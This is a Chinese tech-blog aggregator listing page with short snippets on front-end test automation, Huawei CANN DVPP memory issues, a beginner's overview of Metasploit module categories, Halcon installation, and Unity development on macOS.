    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more